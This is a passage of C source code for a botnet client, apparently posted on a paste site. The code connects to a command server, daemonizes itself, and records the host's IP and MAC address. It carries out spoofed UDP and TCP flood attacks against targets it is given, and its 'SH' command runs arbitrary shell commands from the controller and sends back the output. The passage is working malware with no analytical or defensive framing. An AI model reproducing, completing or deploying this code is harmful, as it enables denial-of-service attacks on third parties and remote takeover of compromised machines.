  1669.                     sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  1670.                     close(mainCommSock);
  1671.                     _exit(0);
  1672.                 }
  1673.                 hi = strtok(NULL, ",");
  1674.             }
  1675.         } else {
  1676.             if (listFork()) { return; }
  1677.  
  1678.             sockprintf(mainCommSock, "UDP Flooding %s:%d for %d seconds.", ip, port, time);
  1679.             sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  1680.             close(mainCommSock);
  1681.  
  1682.             _exit(0);
  1683.         }
  1684.     }
  1685.  
  1686.     if(!strcmp(argv[0], "TCP"))
  1687.     {
  1688.         if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  1689.         {
  1690.             //sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  1691.             return;
  1692.         }
  1693.  
  1694.         unsigned char *ip = argv[1];
  1695.         int port = atoi(argv[2]);
  1696.         int time = atoi(argv[3]);
  1697.         int spoofed = atoi(argv[4]);
  1698.         unsigned char *flags = argv[5];
  1699.  
  1700.         int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  1701.         int psize = argc > 6 ? atoi(argv[6]) : 0;
  1702.  
  1703.         if(strstr(ip, ",") != NULL)
  1704.         {
  1705.             sockprintf(mainCommSock, "TCP Flooding %s for %d seconds.", ip, time);
  1706.             unsigned char *hi = strtok(ip, ",");
  1707.             while(hi != NULL)
  1708.             {
  1709.                 if(!listFork())
  1710.                 {
  1711.                     sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  1712.                     close(mainCommSock);
  1713.                     _exit(0);
  1714.                 }
  1715.                 hi = strtok(NULL, ",");
  1716.             }
  1717.         } else {
  1718.             if (listFork()) { return; }
  1719.  
  1720.             sockprintf(mainCommSock, "TCP Flooding %s for %d seconds.", ip, time);
  1721.             sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  1722.             close(mainCommSock);
  1723.  
  1724.             _exit(0);
  1725.         }
  1726.     }
  1727.  
  1728.     if(!strcmp(argv[0], "KILLATTK"))
  1729.     {
  1730.         int killed = 0;
  1731.         unsigned long i;
  1732.         for (i = 0; i < numpids; i++) {
  1733.             if (pids[i] != 0 && pids[i] != getpid()) {
  1734.                 kill(pids[i], 9);
  1735.                 killed++;
  1736.             }
  1737.         }
  1738.  
  1739.         if(killed > 0)
  1740.         {
  1741.             sockprintf(mainCommSock, "Killed %d.", killed);
  1742.         } else {
  1743.             sockprintf(mainCommSock, "None Killed.");
  1744.         }
  1745.     }
  1746.  
  1747.     if(!strcmp(argv[0], "LOLNOGTFO"))
  1748.     {
  1749.         exit(0);
  1750.     }
  1751. }
  1752.  
  1753. int initConnection()
  1754. {
  1755.     unsigned char server[512];
  1756.     memset(server, 0, 512);
  1757.     if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
  1758.     if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  1759.     else currentServer++;
  1760.  
  1761.     strcpy(server, commServer[currentServer]);
  1762.     int port = 6667;
  1763.     if(strchr(server, ':') != NULL)
  1764.     {
  1765.         port = atoi(strchr(server, ':') + 1);
  1766.         *((unsigned char *)(strchr(server, ':'))) = 0x0;
  1767.     }
  1768.  
  1769.     mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  1770.  
  1771.     if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  1772.  
  1773.     return 0;
  1774. }
  1775.  
  1776. int getOurIP()
  1777. {
  1778.     int sock = socket(AF_INET, SOCK_DGRAM, 0);
  1779.     if(sock == -1) return 0;
  1780.  
  1781.     struct sockaddr_in serv;
  1782.     memset(&serv, 0, sizeof(serv));
  1783.     serv.sin_family = AF_INET;
  1784.     serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  1785.     serv.sin_port = htons(53);
  1786.  
  1787.     int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  1788.     if(err == -1) return 0;
  1789.  
  1790.     struct sockaddr_in name;
  1791.     socklen_t namelen = sizeof(name);
  1792.     err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  1793.     if(err == -1) return 0;
  1794.  
  1795.     ourIP.s_addr = name.sin_addr.s_addr;
  1796.  
  1797.     int cmdline = open("/proc/net/route", O_RDONLY);
  1798.     char linebuf[4096];
  1799.     while(fdgets(linebuf, 4096, cmdline) != NULL)
  1800.     {
  1801.         if(strstr(linebuf, "\t00000000\t") != NULL)
  1802.         {
  1803.             unsigned char *pos = linebuf;
  1804.             while(*pos != '\t') pos++;
  1805.             *pos = 0;
  1806.             break;
  1807.         }
  1808.         memset(linebuf, 0, 4096);
  1809.     }
  1810.     close(cmdline);
  1811.  
  1812.     if(*linebuf)
  1813.     {
  1814.         int i;
  1815.         struct ifreq ifr;
  1816.         strcpy(ifr.ifr_name, linebuf);
  1817.         ioctl(sock, SIOCGIFHWADDR, &ifr);
  1818.         for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  1819.     }
  1820.  
  1821.     close(sock);
  1822. }
  1823.  
  1824. char *getBuild()
  1825. {
  1826.     #ifdef MIPS_BUILD
  1827.     return "MIPS";
  1828.     #elif MIPSEL_BUILD
  1829.     return "MIPSEL";
  1830.     #elif X86_BUILD
  1831.     return "X86";
  1832.     #elif ARM_BUILD
  1833.     return "ARM";
  1834.     #elif PPC_BUILD
  1835.     return "POWERPC";
  1836.     #else
  1837.     return "UNDERGROUND";
  1838.     #endif
  1839. }
  1840.  
  1841. int main(int argc, unsigned char *argv[])
  1842. {
  1843.     if(SERVER_LIST_SIZE <= 0) return 0;
  1844.  
  1845.     srand(time(NULL) ^ getpid());
  1846.     init_rand(time(NULL) ^ getpid());
  1847.  
  1848.     pid_t pid1;
  1849.     pid_t pid2;
  1850.     int status;
  1851.  
  1852.     getOurIP();
  1853.     zprintf("MAC: %02X:%02X:%02X:%02X:%02X:%02X\n", macAddress[0], macAddress[1], macAddress[2], macAddress[3], macAddress[4], macAddress[5]);
  1854.  
  1855.     if (pid1 = fork()) {
  1856.             waitpid(pid1, &status, 0);
  1857.             exit(0);
  1858.     } else if (!pid1) {
  1859.             if (pid2 = fork()) {
  1860.                     exit(0);
  1861.             } else if (!pid2) {
  1862.             } else {
  1863.                     //zprintf("fork failed\n");
  1864.             }
  1865.     } else {
  1866.             //zprintf("fork failed\n");
  1867.     }
  1868.  
  1869.     setsid();
  1870.     chdir("/");
  1871.  
  1872.     signal(SIGPIPE, SIG_IGN);
  1873.  
  1874.     while(1)
  1875.     {
  1876.         if(initConnection()) { printf("Failed to connect...\n"); sleep(5); continue; }
  1877.  
  1878.         sockprintf(mainCommSock, "BUILD %s", getBuild());
  1879.  
  1880.         char commBuf[4096];
  1881.         int got = 0;
  1882.         int i = 0;
  1883.         while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  1884.         {
  1885.             for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  1886.                 unsigned int *newpids, on;
  1887.                 for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  1888.                 pids[on - 1] = 0;
  1889.                 numpids--;
  1890.                 newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  1891.                 for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  1892.                 free(pids);
  1893.                 pids = newpids;
  1894.             }
  1895.  
  1896.             commBuf[got] = 0x00;
  1897.  
  1898.             trim(commBuf);
  1899.  
  1900.             if(strstr(commBuf, "PING") == commBuf)
  1901.             {
  1902.                 sockprintf(mainCommSock, "PONG");
  1903.                 continue;
  1904.             }
  1905.  
  1906.             if(strstr(commBuf, "DUP") == commBuf) exit(0);
  1907.  
  1908.             unsigned char *message = commBuf;
  1909.  
  1910.             if(*message == '!')
  1911.             {
  1912.                 unsigned char *nickMask = message + 1;
  1913.                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  1914.                 if(*nickMask == 0x00) continue;
  1915.                 *(nickMask) = 0x00;
  1916.                 nickMask = message + 1;
  1917.  
  1918.                 message = message + strlen(nickMask) + 2;
  1919.                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  1920.  
  1921.                 unsigned char *command = message;
  1922.                 while(*message != ' ' && *message != 0x00) message++;
  1923.                 *message = 0x00;
  1924.                 message++;
  1925.  
  1926.                 unsigned char *tmpcommand = command;
  1927.                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  1928.  
  1929.                 if(strcmp(command, "SH") == 0)
  1930.                 {
  1931.                     unsigned char buf[1024];
  1932.                     int command;
  1933.                     if (listFork()) continue;
  1934.                     memset(buf, 0, 1024);
  1935.                     szprintf(buf, "%s 2>&1", message);
  1936.                     command = fdpopen(buf, "r");
  1937.                     while(fdgets(buf, 1024, command) != NULL)
  1938.                     {
  1939.                         trim(buf);
  1940.                         sockprintf(mainCommSock, "%s", buf);
  1941.                         memset(buf, 0, 1024);
  1942.                         sleep(1);
  1943.                     }
  1944.                     fdpclose(command);
  1945.                     exit(0);
  1946.                 }
  1947.  
  1948.                 unsigned char *params[10];
  1949.                 int paramsCount = 1;
  1950.                 unsigned char *pch = strtok(message, " ");
  1951.                 params[0] = command;
  1952.  
  1953.                 while(pch)
  1954.                 {
  1955.                     if(*pch != '\n')
  1956.                     {
  1957.                         params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  1958.                         memset(params[paramsCount], 0, strlen(pch) + 1);
  1959.                         strcpy(params[paramsCount], pch);
  1960.                         paramsCount++;
  1961.                     }
  1962.                     pch = strtok(NULL, " ");
  1963.                 }
  1964.  
  1965.                 processCmd(paramsCount, params);
  1966.  
  1967.                 if(paramsCount > 1)
  1968.                 {
  1969.                     int q = 1;
  1970.                     for(q = 1; q < paramsCount; q++)
  1971.                     {
  1972.                         free(params[q]);
  1973.                     }
  1974.                 }
  1975.             }
  1976.         }
  1977.         //printf("Link closed by server.\n");
  1978.     }
  1979.     return 0;
  1980. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement